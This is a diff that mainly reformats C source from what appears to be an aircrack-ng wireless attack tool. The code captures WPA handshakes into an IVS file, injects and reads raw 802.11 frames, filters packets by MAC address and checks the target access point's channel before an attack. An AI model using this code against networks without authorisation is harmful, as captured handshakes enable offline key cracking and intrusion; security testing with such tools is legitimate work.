-                        if( fwrite( &(opt.wpa), 1, sizeof(struct WPA_hdsk), opt.f_ivs ) != (size_t) sizeof(struct WPA_hdsk) )
-                        {
-                            perror( "fwrite(IV wpa_hdsk) failed" );
-                            return( 1 );
-                        }
-                    }
-                }
-            }
-        }
-    }
+	if (!(packet[1] & 0x40)) // not encrypted
+	{
+		z += 6; // skip LLC header
+
+		/* check ethertype == EAPOL */
+		if (packet[z] == 0x88 && packet[z + 1] == 0x8E
+			&& (packet[1] & 0x40) != 0x40)
+		{
+			if (opt.wpa.state != 7 || time(NULL) - opt.wpa_time > 1)
+			{
+				z += 2; // skip ethertype
+
+				/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+
+				if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
+					&& (packet[z + 6] & 0x80) != 0
+					&& (packet[z + 5] & 0x01) == 0)
+				{
+					memcpy(opt.wpa.anonce, &packet[z + 17], 32);
+					opt.wpa.state = 1;
+				}
+
+				/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1
+				 */
+
+				if (z + 17 + 32 > length) return 0;
+
+				if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) == 0
+					&& (packet[z + 6] & 0x80) == 0
+					&& (packet[z + 5] & 0x01) != 0)
+				{
+					if (memcmp(&packet[z + 17], ZERO, 32) != 0)
+					{
+						memcpy(opt.wpa.snonce, &packet[z + 17], 32);
+						opt.wpa.state |= 2;
+					}
+
+					if ((opt.wpa.state & 4) != 4)
+					{
+						opt.wpa.eapol_size
+							= (packet[z + 2] << 8) + packet[z + 3] + 4;
+
+						if (opt.wpa.eapol_size > sizeof(opt.wpa.eapol)
+							|| length - z < opt.wpa.eapol_size)
+						{
+							// ignore packet trying to crash us
+							opt.wpa.eapol_size = 0;
+							return 0;
+						}
+
+						memcpy(opt.wpa.keymic, &packet[z + 81], 16);
+						memcpy(opt.wpa.eapol, &packet[z], opt.wpa.eapol_size);
+						memset(opt.wpa.eapol + 81, 0, 16);
+						opt.wpa.state |= 4;
+						opt.wpa.keyver = packet[z + 6] & 7;
+					}
+				}
+
+				/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+
+				if ((packet[z + 6] & 0x08) != 0 && (packet[z + 6] & 0x40) != 0
+					&& (packet[z + 6] & 0x80) != 0
+					&& (packet[z + 5] & 0x01) != 0)
+				{
+					if (memcmp(&packet[z + 17], ZERO, 32) != 0)
+					{
+						memcpy(opt.wpa.anonce, &packet[z + 17], 32);
+						opt.wpa.state |= 1;
+					}
+
+					if ((opt.wpa.state & 4) != 4)
+					{
+						opt.wpa.eapol_size
+							= (packet[z + 2] << 8) + packet[z + 3] + 4;
+
+						if (opt.wpa.eapol_size > sizeof(opt.wpa.eapol)
+							|| length - z < opt.wpa.eapol_size)
+						{
+							// ignore packet trying to crash us
+							opt.wpa.eapol_size = 0;
+							return 0;
+						}
+
+						memcpy(opt.wpa.keymic, &packet[z + 81], 16);
+						memcpy(opt.wpa.eapol, &packet[z], opt.wpa.eapol_size);
+						memset(opt.wpa.eapol + 81, 0, 16);
+						opt.wpa.state |= 4;
+						opt.wpa.keyver = packet[z + 6] & 7;
+					}
+				}
+
+				if (opt.wpa.state == 7)
+				{
+					memcpy(opt.wpa.stmac, opt.r_smac, 6);
+					PCT;
+					printf("WPA handshake: %02X:%02X:%02X:%02X:%02X:%02X "
+						   "captured\n",
+						   opt.r_bssid[0],
+						   opt.r_bssid[1],
+						   opt.r_bssid[2],
+						   opt.r_bssid[3],
+						   opt.r_bssid[4],
+						   opt.r_bssid[5]);
+
+					opt.wpa_time = time(NULL);
+
+					if (opt.f_ivs != NULL)
+					{
+						memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+						ivs2.flags = 0;
+						ivs2.len = 0;
+
+						ivs2.len = sizeof(struct WPA_hdsk);
+						ivs2.flags |= IVS2_WPA;
+
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+
+						if (fwrite(
+								&ivs2, 1, sizeof(struct ivs2_pkthdr), opt.f_ivs)
+							!= (size_t) sizeof(struct ivs2_pkthdr))
+						{
+							perror("fwrite(IV header) failed");
+							return (1);
+						}
+
+						if (ivs2.flags & IVS2_BSSID)
+						{
+							if (fwrite(opt.r_bssid, 1, 6, opt.f_ivs)
+								!= (size_t) 6)
+							{
+								perror("fwrite(IV bssid) failed");
+								return (1);
+							}
+							ivs2.len -= 6;
+						}
+
+						if (fwrite(&(opt.wpa),
+								   1,
+								   sizeof(struct WPA_hdsk),
+								   opt.f_ivs)
+							!= (size_t) sizeof(struct WPA_hdsk))
+						{
+							perror("fwrite(IV wpa_hdsk) failed");
+							return (1);
+						}
+					}
+				}
+			}
+		}
+	}
 
-    return 0;
+	return 0;
 }
 
-int send_packet(void *buf, size_t count)
+static int send_packet(void * buf, size_t count)
 {
-	struct wif *wi = _wi_out; /* XXX globals suck */
-// 	unsigned char *pkt = (unsigned char*) buf;
+	struct wif * wi = _wi_out; /* XXX globals suck */
+	// 	unsigned char *pkt = (unsigned char*) buf;
 
-// 	if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0)
-// 	{
-// 		pkt[22] += (nb_pkt_sent & 0x0000000F) << 4;
-// 		pkt[23] += (nb_pkt_sent & 0x00000FF0) >> 4;
-// 	}
-
-	if (wi_write(wi, buf, count, NULL) == -1) {
-		switch (errno) {
-		case EAGAIN:
-		case ENOBUFS:
-			usleep(10000);
-			return 0; /* XXX not sure I like this... -sorbo */
+	// 	if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0)
+	// 	{
+	// 		pkt[22] += (nb_pkt_sent & 0x0000000F) << 4;
+	// 		pkt[23] += (nb_pkt_sent & 0x00000FF0) >> 4;
+	// 	}
+
+	if (wi_write(wi, buf, count, NULL) == -1)
+	{
+		switch (errno)
+		{
+			case EAGAIN:
+			case ENOBUFS:
+				usleep(10000);
+				return 0; /* XXX not sure I like this... -sorbo */
 		}
 
 		perror("wi_write()");
@@ -674,3105 +566,2779 @@
 	return 0;
 }
 
-int read_packet(void *buf, size_t count, struct rx_info *ri)
+static int read_packet(void * buf, size_t count, struct rx_info * ri)
 {
-    struct wif *wi = _wi_in; /* XXX */
-    int rc;
+	struct wif * wi = _wi_in; /* XXX */
+	int rc;
 
-    rc = wi_read(wi, buf, count, ri);
-    if (rc == -1) {
-        switch (errno) {
-        case EAGAIN:
-                return 0;
-        }
+	rc = wi_read(wi, buf, count, ri);
+	if (rc == -1)
+	{
+		switch (errno)
+		{
+			case EAGAIN:
+				return 0;
+		}
 
-        perror("wi_read()");
-        return -1;
-    }
+		perror("wi_read()");
+		return -1;
+	}
 
-    return rc;
+	return rc;
 }
 
-void read_sleep( unsigned long usec )
+static void read_sleep(unsigned long usec)
 {
-    struct timeval tv, tv2, tv3;
-    int caplen;
-    fd_set rfds;
+	struct timeval tv, tv2, tv3;
+	int caplen;
+	fd_set rfds;
 
-    gettimeofday(&tv, NULL);
-    gettimeofday(&tv2, NULL);
+	gettimeofday(&tv, NULL);
+	gettimeofday(&tv2, NULL);
 
-    tv3.tv_sec=0;
-    tv3.tv_usec=10000;
+	tv3.tv_sec = 0;
+	tv3.tv_usec = 10000;
 
-    while( ((tv2.tv_sec*1000000UL - tv.tv_sec*1000000UL) + (tv2.tv_usec - tv.tv_usec)) < (usec) )
-    {
-        FD_ZERO( &rfds );
-        FD_SET( dev.fd_in, &rfds );
+	while (((tv2.tv_sec * 1000000UL - tv.tv_sec * 1000000UL)
+			+ (tv2.tv_usec - tv.tv_usec))
+		   < (usec))
+	{
+		FD_ZERO(&rfds);
+		FD_SET(dev.fd_in, &rfds);
 
-        if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv3 ) < 0 )
-        {
-            continue;
-        }
-
-        if( FD_ISSET( dev.fd_in, &rfds ) )
-        {
-            caplen = read_packet( h80211, sizeof( h80211 ), NULL );
-            check_received(h80211, caplen);
-        }
+		if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv3) < 0)
+		{
+			continue;
+		}
 
-        usleep(1000);
-        gettimeofday(&tv2, NULL);
-    }
+		if (FD_ISSET(dev.fd_in, &rfds))
+		{
+			caplen = read_packet(h80211, sizeof(h80211), NULL);
+			check_received(h80211, caplen);
+		}
+
+		usleep(1000);
+		gettimeofday(&tv2, NULL);
+	}
 }
 
-int filter_packet( unsigned char *h80211, int caplen )
+static int filter_packet(unsigned char * h80211, int caplen)
 {
-    int z, mi_b, mi_s, mi_d, ext=0, qos=0;
-
-    if(caplen <= 0)
-        return( 1 );
-
-    z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-    if ( ( h80211[0] & 0x80 ) == 0x80 )
-    {
-        qos = 1; /* 802.11e QoS */
-        z+=2;
-    }
-
-    if(!qos) return(1);
-
-    if( (h80211[0] & 0x0C) == 0x08)    //if data packet
-        ext = z-24; //how many bytes longer than default ieee80211 header
-
-    /* check length */
-    if( caplen-ext < opt.f_minlen ||
-        caplen-ext > opt.f_maxlen ) return( 1 );
-
-    /* check the frame control bytes */
-
-    if( ( h80211[0] & 0x80 ) != 0x80 )
-        return( 1 );    //no QoS packet
+	int z, mi_b, mi_s, mi_d, ext = 0, qos = 0;
 
-    if( ( h80211[0] & 0x0C ) != ( opt.f_type    << 2 ) &&
-        opt.f_type    >= 0 ) return( 1 );
+	if (caplen <= 0) return (1);
 
-    if( ( h80211[0] & 0x70 ) != (( opt.f_subtype << 4 ) & 0x70) && //ignore the leading bit (QoS)
-        opt.f_subtype >= 0 ) return( 1 );
-
-    if( ( h80211[1] & 0x01 ) != ( opt.f_tods         ) &&
-        opt.f_tods    >= 0 ) return( 1 );
-
-    if( ( h80211[1] & 0x02 ) != ( opt.f_fromds  << 1 ) &&
-        opt.f_fromds  >= 0 ) return( 1 );
-
-    if( ( h80211[1] & 0x40 ) != ( opt.f_iswep   << 6 ) &&
-        opt.f_iswep   >= 0 ) return( 1 );
+	z = ((h80211[1] & 3) != 3) ? 24 : 30;
+	if ((h80211[0] & 0x80) == 0x80)
+	{
+		qos = 1; /* 802.11e QoS */
+		z += 2;
+	}
 
-    /* check the extended IV (TKIP) flag */
+	if (!qos) return (1);
 
-//     if( opt.f_type == 2 && opt.f_iswep == 1 &&
-//         ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 );
+	if ((h80211[0] & 0x0C) == 0x08) // if data packet
+		ext = z - 24; // how many bytes longer than default ieee80211 header
 
-    /* MAC address checking */
+	/* check length */
+	if (caplen - ext < opt.f_minlen || caplen - ext > opt.f_maxlen) return (1);
 
-    switch( h80211[1] & 3 )
-    {
-        case  0: mi_b = 16; mi_s = 10; mi_d =  4; break;
-        case  1: mi_b =  4; mi_s = 10; mi_d = 16; break;
-        case  2: mi_b = 10; mi_s = 16; mi_d =  4; break;
-        default: mi_b = 10; mi_d = 16; mi_s = 24; break;
-    }
+	/* check the frame control bytes */
+
+	if ((h80211[0] & 0x80) != 0x80) return (1); // no QoS packet
+
+	if ((h80211[0] & 0x0C) != (opt.f_type << 2) && opt.f_type >= 0) return (1);
+
+	if ((h80211[0] & 0x70) != ((opt.f_subtype << 4) & 0x70)
+		&& // ignore the leading bit (QoS)
+		opt.f_subtype >= 0)
+		return (1);
+
+	if ((h80211[1] & 0x01) != (opt.f_tods) && opt.f_tods >= 0) return (1);
+
+	if ((h80211[1] & 0x02) != (opt.f_fromds << 1) && opt.f_fromds >= 0)
+		return (1);
+
+	if ((h80211[1] & 0x40) != (opt.f_iswep << 6) && opt.f_iswep >= 0)
+		return (1);
+
+	/* check the extended IV (TKIP) flag */
+
+	//     if( opt.f_type == 2 && opt.f_iswep == 1 &&
+	//         ( h80211[z + 3] & 0x20 ) != 0 ) return( 1 );
+
+	/* MAC address checking */
+
+	switch (h80211[1] & 3)
+	{
+		case 0:
+			mi_b = 16;
+			mi_s = 10;
+			mi_d = 4;
+			break;
+		case 1:
+			mi_b = 4;
+			mi_s = 10;
+			mi_d = 16;
+			break;
+		case 2:
+			mi_b = 10;
+			mi_s = 16;
+			mi_d = 4;
+			break;
+		default:
+			mi_b = 10;
+			mi_d = 16;
+			mi_s = 24;
+			break;
+	}
 
-    if( memcmp( opt.f_bssid, NULL_MAC, 6 ) != 0 )
-        if( memcmp( h80211 + mi_b, opt.f_bssid, 6 ) != 0 )
-            return( 1 );
+	if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
+		if (memcmp(h80211 + mi_b, opt.f_bssid, 6) != 0) return (1);
 
-    if( memcmp( opt.f_bssid, opt.f_smac, 6) == 0)
-    {
-        if( memcmp( opt.f_smac,  NULL_MAC, 6 ) != 0 )
-            if( memcmp( h80211 + mi_s,  opt.f_smac,  5 ) != 0 )
-                return( 1 );
-    }
-    else
-    {
-        if( memcmp( opt.f_smac,  NULL_MAC, 6 ) != 0 )
-            if( memcmp( h80211 + mi_s,  opt.f_smac,  6 ) != 0 )
-                return( 1 );
-    }
+	if (memcmp(opt.f_bssid, opt.f_smac, 6) == 0)
+	{
+		if (memcmp(opt.f_smac, NULL_MAC, 6) != 0)
+			if (memcmp(h80211 + mi_s, opt.f_smac, 5) != 0) return (1);
+	}
+	else
+	{
+		if (memcmp(opt.f_smac, NULL_MAC, 6) != 0)
+			if (memcmp(h80211 + mi_s, opt.f_smac, 6) != 0) return (1);
+	}
 
-    if( memcmp( opt.f_bssid, opt.f_dmac, 6) == 0)
-    {
-        if( memcmp( opt.f_dmac,  NULL_MAC, 6 ) != 0 )
-            if( memcmp( h80211 + mi_d,  opt.f_dmac,  5 ) != 0 )
-                return( 1 );
-    }
-    else
-    {
-        if( memcmp( opt.f_dmac,  NULL_MAC, 6 ) != 0 )
-            if( memcmp( h80211 + mi_d,  opt.f_dmac,  6 ) != 0 )
-                return( 1 );
-    }
+	if (memcmp(opt.f_bssid, opt.f_dmac, 6) == 0)
+	{
+		if (memcmp(opt.f_dmac, NULL_MAC, 6) != 0)
+			if (memcmp(h80211 + mi_d, opt.f_dmac, 5) != 0) return (1);
+	}
+	else
+	{
+		if (memcmp(opt.f_dmac, NULL_MAC, 6) != 0)
+			if (memcmp(h80211 + mi_d, opt.f_dmac, 6) != 0) return (1);
+	}
 
-    /* this one looks good */
+	/* this one looks good */
 
-    return( 0 );
+	return (0);
 }
 
-int wait_for_beacon(unsigned char *bssid, unsigned char *capa, char *essid)
+static int
+wait_for_beacon(unsigned char * bssid, unsigned char * capa, char * essid)
 {
-    int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0;
-    unsigned char pkt_sniff[4096];
-    struct timeval tv,tv2;
-    char essid2[33];
-
-    gettimeofday(&tv, NULL);
-    while (1)
-    {
-        len = 0;
-        while (len < 22)
-        {
-            len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL);
-
-            gettimeofday(&tv2, NULL);
-            if(((tv2.tv_sec-tv.tv_sec)*1000000UL) + (tv2.tv_usec-tv.tv_usec) > 10000*1000) //wait 10sec for beacon frame
-            {
-                return -1;
-            }
-            if(len <= 0) usleep(1000);
-        }
-        if (! memcmp(pkt_sniff, "\x80", 1))
-        {
-            pos = 0;
-            taglen = 22;    //initial value to get the fixed tags parsing started
-            taglen+= 12;    //skip fixed tags in frames
-            do
-            {
-                pos    += taglen + 2;
-                tagtype = pkt_sniff[pos];
-                taglen  = pkt_sniff[pos+1];
-            } while(tagtype != 3 && pos < len-2);
-
-            if(tagtype != 3) continue;
-            if(taglen != 1) continue;
-            if(pos+2+taglen > len) continue;
-
-            chan = pkt_sniff[pos+2];
-
-            if(essid)
-            {
-                pos = 0;
-                taglen = 22;    //initial value to get the fixed tags parsing started
-                taglen+= 12;    //skip fixed tags in frames
-                do
-                {
-                    pos    += taglen + 2;
-                    tagtype = pkt_sniff[pos];
-                    taglen  = pkt_sniff[pos+1];
-                } while(tagtype != 0 && pos < len-2);
-
-                if(tagtype != 0) continue;
-                if(taglen <= 1)
-                {
-                    if (memcmp(bssid, pkt_sniff+10, 6) == 0) break;
-                    else continue;
-                }
-                if(pos+2+taglen > len) continue;
-
-                if(taglen > 32)taglen = 32;
-
-                if((pkt_sniff+pos+2)[0] < 32 && memcmp(bssid, pkt_sniff+10, 6) == 0)
-                {
-                    break;
-                }
-
-                /* if bssid is given, copy essid */
-                if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) == 0)
-                {
-                    memset(essid, 0, 33);
-                    memcpy(essid, pkt_sniff+pos+2, taglen);
-                    break;
-                }
-
-                /* if essid is given, copy bssid AND essid, so we can handle case insensitive arguments */
-                if(bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0 && strncasecmp(essid, (char*)pkt_sniff+pos+2, taglen) == 0 && strlen(essid) == (unsigned)taglen)
-                {
-                    memset(essid, 0, 33);
-                    memcpy(essid, pkt_sniff+pos+2, taglen);
-                    memcpy(bssid, pkt_sniff+10, 6);
-                    printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to given ESSID \"%s\".\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5], essid);
-                    break;
-                }
-
-                /* if essid and bssid are given, check both */
-                if(bssid != NULL && memcmp(bssid, pkt_sniff+10, 6) == 0 && strlen(essid) > 0)
-                {
-                    memset(essid2, 0, 33);
-                    memcpy(essid2, pkt_sniff+pos+2, taglen);
-                    if(strncasecmp(essid, essid2, taglen) == 0 && strlen(essid) == (unsigned)taglen)
-                        break;
-                    else
-                    {
-                        printf("For the given BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\", there is an ESSID mismatch!\n", bssid[0], bssid[1], bssid[2], bssid[3], bssid[4], bssid[5]);
-                        printf("Found ESSID \"%s\" vs. specified ESSID \"%s\"\n", essid2, essid);
-                        printf("Using the given one, double check it to be sure its correct!\n");
-                        break;
-                    }
-                }
-            }
-        }
-    }
+	int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0;
+	unsigned char pkt_sniff[4096];
+	struct timeval tv, tv2;
+	char essid2[33];
+
+	gettimeofday(&tv, NULL);
+	while (1)
+	{
+		len = 0;
+		while (len < 22)
+		{
+			len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL);
+
+			gettimeofday(&tv2, NULL);
+			if (((tv2.tv_sec - tv.tv_sec) * 1000000UL)
+					+ (tv2.tv_usec - tv.tv_usec)
+				> 10000 * 1000) // wait 10sec for beacon frame
+			{
+				return -1;
+			}
+			if (len <= 0) usleep(1000);
+		}
+		if (!memcmp(pkt_sniff, "\x80", 1))
+		{
+			pos = 0;
+			taglen = 22; // initial value to get the fixed tags parsing started
+			taglen += 12; // skip fixed tags in frames
+			do
+			{
+				pos += taglen + 2;
+				tagtype = pkt_sniff[pos];
+				taglen = pkt_sniff[pos + 1];
+			} while (tagtype != 3 && pos < len - 2);
+
+			if (tagtype != 3) continue;
+			if (taglen != 1) continue;
+			if (pos + 2 + taglen > len) continue;
+
+			chan = pkt_sniff[pos + 2];
+
+			if (essid)
+			{
+				pos = 0;
+				taglen
+					= 22; // initial value to get the fixed tags parsing started
+				taglen += 12; // skip fixed tags in frames
+				do
+				{
+					pos += taglen + 2;
+					tagtype = pkt_sniff[pos];
+					taglen = pkt_sniff[pos + 1];
+				} while (tagtype != 0 && pos < len - 2);
+
+				if (tagtype != 0) continue;
+				if (taglen <= 1)
+				{
+					if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0)
+						break;
+					else
+						continue;
+				}
+				if (pos + 2 + taglen > len) continue;
+
+				if (taglen > 32) taglen = 32;
+
+				if ((pkt_sniff + pos + 2)[0] < 32 && bssid != NULL
+					&& memcmp(bssid, pkt_sniff + 10, 6) == 0)
+				{
+					break;
+				}
+
+				/* if bssid is given, copy essid */
+				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
+					&& strlen(essid) == 0)
+				{
+					memset(essid, 0, 33);
+					memcpy(essid, pkt_sniff + pos + 2, taglen);
+					break;
+				}
+
+				/* if essid is given, copy bssid AND essid, so we can handle
+				 * case insensitive arguments */
+				if (bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0
+					&& strncasecmp(essid, (char *) pkt_sniff + pos + 2, taglen)
+						   == 0
+					&& strlen(essid) == (unsigned) taglen)
+				{
+					memset(essid, 0, 33);
+					memcpy(essid, pkt_sniff + pos + 2, taglen);
+					memcpy(bssid, pkt_sniff + 10, 6);
+					printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to "
+						   "given ESSID \"%s\".\n",
+						   bssid[0],
+						   bssid[1],
+						   bssid[2],
+						   bssid[3],
+						   bssid[4],
+						   bssid[5],
+						   essid);
+					break;
+				}
+
+				/* if essid and bssid are given, check both */
+				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
+					&& strlen(essid) > 0)
+				{
+					memset(essid2, 0, 33);
+					memcpy(essid2, pkt_sniff + pos + 2, taglen);
+					if (strncasecmp(essid, essid2, taglen) == 0
+						&& strlen(essid) == (unsigned) taglen)
+						break;
+					else
+					{
+						printf("For the given BSSID "
+							   "\"%02X:%02X:%02X:%02X:%02X:%02X\", there is an "
+							   "ESSID mismatch!\n",
+							   bssid[0],
+							   bssid[1],
+							   bssid[2],
+							   bssid[3],
+							   bssid[4],
+							   bssid[5]);
+						printf(
+							"Found ESSID \"%s\" vs. specified ESSID \"%s\"\n",
+							essid2,
+							essid);
+						printf("Using the given one, double check it to be "
+							   "sure its correct!\n");
+						break;
+					}
+				}
+			}
+		}
+	}
 
-    if(capa) memcpy(capa, pkt_sniff+34, 2);
+	if (capa) memcpy(capa, pkt_sniff + 34, 2);
 
-    return chan;
+	return chan;
 }
 
 /*
-    if bssid != NULL its looking for a beacon frame
+	if bssid != NULL its looking for a beacon frame
 */
-int attack_check(unsigned char* bssid, char* essid, unsigned char* capa, struct wif *wi)
-{
-    int ap_chan=0, iface_chan=0;
-
-    iface_chan = wi_get_channel(wi);
-
-    if(bssid != NULL)
-    {
-        ap_chan = wait_for_beacon(bssid, capa, essid);
-        if(ap_chan < 0)
-        {
-            PCT; printf("No such BSSID available.\n");
-            return -1;
-        }
-        if(ap_chan != iface_chan)
-        {
-            PCT; printf("%s is on channel %d, but the AP uses channel %d\n", wi_get_ifname(wi), iface_chan, ap_chan);
-            return -1;
-        }
-    }
+static int attack_check(unsigned char * bssid,
+						char * essid,
+						unsigned char * capa,
+						struct wif * wi)
+{
+	int ap_chan = 0, iface_chan = 0;
+
+	iface_chan = wi_get_channel(wi);
+
+	if (bssid != NULL)
+	{
+		ap_chan = wait_for_beacon(bssid, capa, essid);
+		if (ap_chan < 0)
+		{
+			PCT;
+			printf("No such BSSID available.\n");
+			return -1;
+		}
+		if (ap_chan != iface_chan)
+		{
+			PCT;
+			printf("%s is on channel %d, but the AP uses channel %d\n",
+				   wi_get_ifname(wi),
+				   iface_chan,
+				   ap_chan);
+			return -1;
+		}
+	}
 
-    return 0;
+	return 0;
 }
 
-int getnet( unsigned char* capa, int filter, int force)
+static int getnet(unsigned char * capa, int filter, int force)
 {
-    unsigned char *bssid;
+	unsigned char * bssid;
 
-    if(opt.nodetect)
-        return 0;
+	if (opt.nodetect) return 0;
 
-    if(filter)
-        bssid = opt.f_bssid;
-    else
-        bssid = opt.r_bssid;
-
-
-    if( memcmp(bssid, NULL_MAC, 6) )
-    {
-        PCT; printf("Waiting for beacon frame (BSSID: %02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
-                    bssid[0],bssid[1],bssid[2],bssid[3],bssid[4],bssid[5],wi_get_channel(_wi_in));
-    }
-    else if(strlen(opt.r_essid) > 0)
-    {
-        PCT; printf("Waiting for beacon frame (ESSID: %s) on channel %d\n", opt.r_essid,wi_get_channel(_wi_in));
-    }
-    else if(force)
-    {
-        PCT;
-        if(filter)
-        {
-            printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
-        }
-        else
-        {
-            printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
-        }
-        return( 1 );
-    }
-    else
-        return 0;
-
-    if( attack_check(bssid, opt.r_essid, capa, _wi_in) != 0)
-    {
-        if(memcmp(bssid, NULL_MAC, 6))
-        {
-            if( strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32)
-            {
-                printf( "Please specify an ESSID (-e).\n" );
-            }
-        }
-
-        if(!memcmp(bssid, NULL_MAC, 6))
-        {
-            if(strlen(opt.r_essid) > 0)
-            {
-                printf( "Please specify a BSSID (-a).\n" );
-            }
-        }
-        return( 1 );
-    }
-
-    return 0;
-}
+	if (filter)
+		bssid = opt.f_bssid;
+	else
+		bssid = opt.r_bssid;
+
+	if (memcmp(bssid, NULL_MAC, 6))
+	{
+		PCT;
+		printf("Waiting for beacon frame (BSSID: "
+			   "%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
+			   bssid[0],
+			   bssid[1],
+			   bssid[2],
+			   bssid[3],
+			   bssid[4],
+			   bssid[5],
+			   wi_get_channel(_wi_in));
+	}
+	else if (strlen(opt.r_essid) > 0)
+	{
+		PCT;
+		printf("Waiting for beacon frame (ESSID: %s) on channel %d\n",
+			   opt.r_essid,
+			   wi_get_channel(_wi_in));
+	}
+	else if (force)
+	{
+		PCT;
+		if (filter)
+		{
+			printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
+		}
+		else
+		{
+			printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
+		}
+		return (1);
+	}
+	else
+		return 0;
 
-int xor_keystream(unsigned char *ph80211, unsigned char *keystream, int len)
-{
-    int i=0;
+	if (attack_check(bssid, opt.r_essid, capa, _wi_in) != 0)
+	{
+		if (memcmp(bssid, NULL_MAC, 6))
+		{
+			if (strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32)
+			{
+				printf("Please specify an ESSID (-e).\n");
+			}
+		}
 
-    for (i=0; i<len; i++) {
-        ph80211[i] = ph80211[i] ^ keystream[i];
-    }
+		if (!memcmp(bssid, NULL_MAC, 6))
+		{
+			if (strlen(opt.r_essid) > 0)
+			{
+				printf("Please specify a BSSID (-a).\n");
+			}
+		}
+		return (1);
+	}
 
-    return 0;
+	return 0;
 }
 
-int capture_ask_packet( int *caplen, int just_grab )
+static int capture_ask_packet(int * caplen, int just_grab)
 {
-    time_t tr;
-    struct timeval tv;
-    struct tm *lt;
+	time_t tr;
+	struct timeval tv;
+	struct tm * lt;
+
+	fd_set rfds;
+	long nb_pkt_read;
+	int i, j, n, mi_b = 0, mi_s = 0, mi_d = 0, mi_t = 0, mi_r = 0, is_wds = 0,
+				 key_index_offset;
+	int ret, z;
+
+	FILE * f_cap_out;
+	struct pcap_file_header pfh_out;
+	struct pcap_pkthdr pkh;
+
+	if (opt.f_minlen < 0) opt.f_minlen = 40;
+	if (opt.f_maxlen < 0) opt.f_maxlen = 1500;
+	if (opt.f_type < 0) opt.f_type = 2;
+	if (opt.f_subtype < 0) opt.f_subtype = 0;
+	if (opt.f_iswep < 0) opt.f_iswep = 1;
+
+	tr = time(NULL);
+
+	nb_pkt_read = 0;
+
+	signal(SIGINT, SIG_DFL);
+
+	while (1)
+	{
+		if (time(NULL) - tr > 0)
+		{
+			tr = time(NULL);
+			printf("\rRead %ld packets...\r", nb_pkt_read);
+			fflush(stdout);
+		}
 
-    fd_set rfds;
-    long nb_pkt_read;
-    int i, j, n, mi_b=0, mi_s=0, mi_d=0, mi_t=0, mi_r=0, is_wds=0, key_index_offset;
-    int ret, z;
+		if (opt.s_file == NULL)
+		{
+			FD_ZERO(&rfds);
+			FD_SET(dev.fd_in, &rfds);
 
-    FILE *f_cap_out;
-    struct pcap_file_header pfh_out;
-    struct pcap_pkthdr pkh;
+			tv.tv_sec = 1;
+			tv.tv_usec = 0;
 
-    if( opt.f_minlen  < 0 ) opt.f_minlen  =   40;
-    if( opt.f_maxlen  < 0 ) opt.f_maxlen  = 1500;
-    if( opt.f_type    < 0 ) opt.f_type    =    2;
-    if( opt.f_subtype < 0 ) opt.f_subtype =    0;
-    if( opt.f_iswep   < 0 ) opt.f_iswep   =    1;
+			if (select(dev.fd_in + 1, &rfds, NULL, NULL, &tv) < 0)
+			{
+				if (errno == EINTR) continue;
+				perror("select failed");
+				return (1);
+			}
 
-    tr = time( NULL );
+			if (!FD_ISSET(dev.fd_in, &rfds)) continue;
 
-    nb_pkt_read = 0;
+			gettimeofday(&tv, NULL);
 
-    signal( SIGINT, SIG_DFL );
+			*caplen = read_packet(h80211, sizeof(h80211), NULL);
 
-    while( 1 )
-    {
-        if( time( NULL ) - tr > 0 )
-        {
-            tr = time( NULL );
-            printf( "\rRead %ld packets...\r", nb_pkt_read );
-            fflush( stdout );
-        }
-
-        if( opt.s_file == NULL )
-        {
-            FD_ZERO( &rfds );
-            FD_SET( dev.fd_in, &rfds );
-
-            tv.tv_sec  = 1;
-            tv.tv_usec = 0;
-
-            if( select( dev.fd_in + 1, &rfds, NULL, NULL, &tv ) < 0 )
-            {
-                if( errno == EINTR ) continue;
-                perror( "select failed" );
-                return( 1 );
-            }
-
-            if( ! FD_ISSET( dev.fd_in, &rfds ) )
-                continue;
-
-            gettimeofday( &tv, NULL );
-
-            *caplen = read_packet( h80211, sizeof( h80211 ), NULL );
-
-            if( *caplen  < 0 ) return( 1 );
-            if( *caplen == 0 ) continue;
-        }
-        else
-        {
-            /* there are no hidden backdoors in this source code */
-
-            n = sizeof( pkh );
-
-            if( fread( &pkh, n, 1, dev.f_cap_in ) != 1 )
-            {
-                printf( "\r\33[KEnd of file.\n" );
-                return( 1 );
-            }
-
-            if( dev.pfh_in.magic == TCPDUMP_CIGAM ) {
-                SWAP32( pkh.caplen );
-                SWAP32( pkh.len );
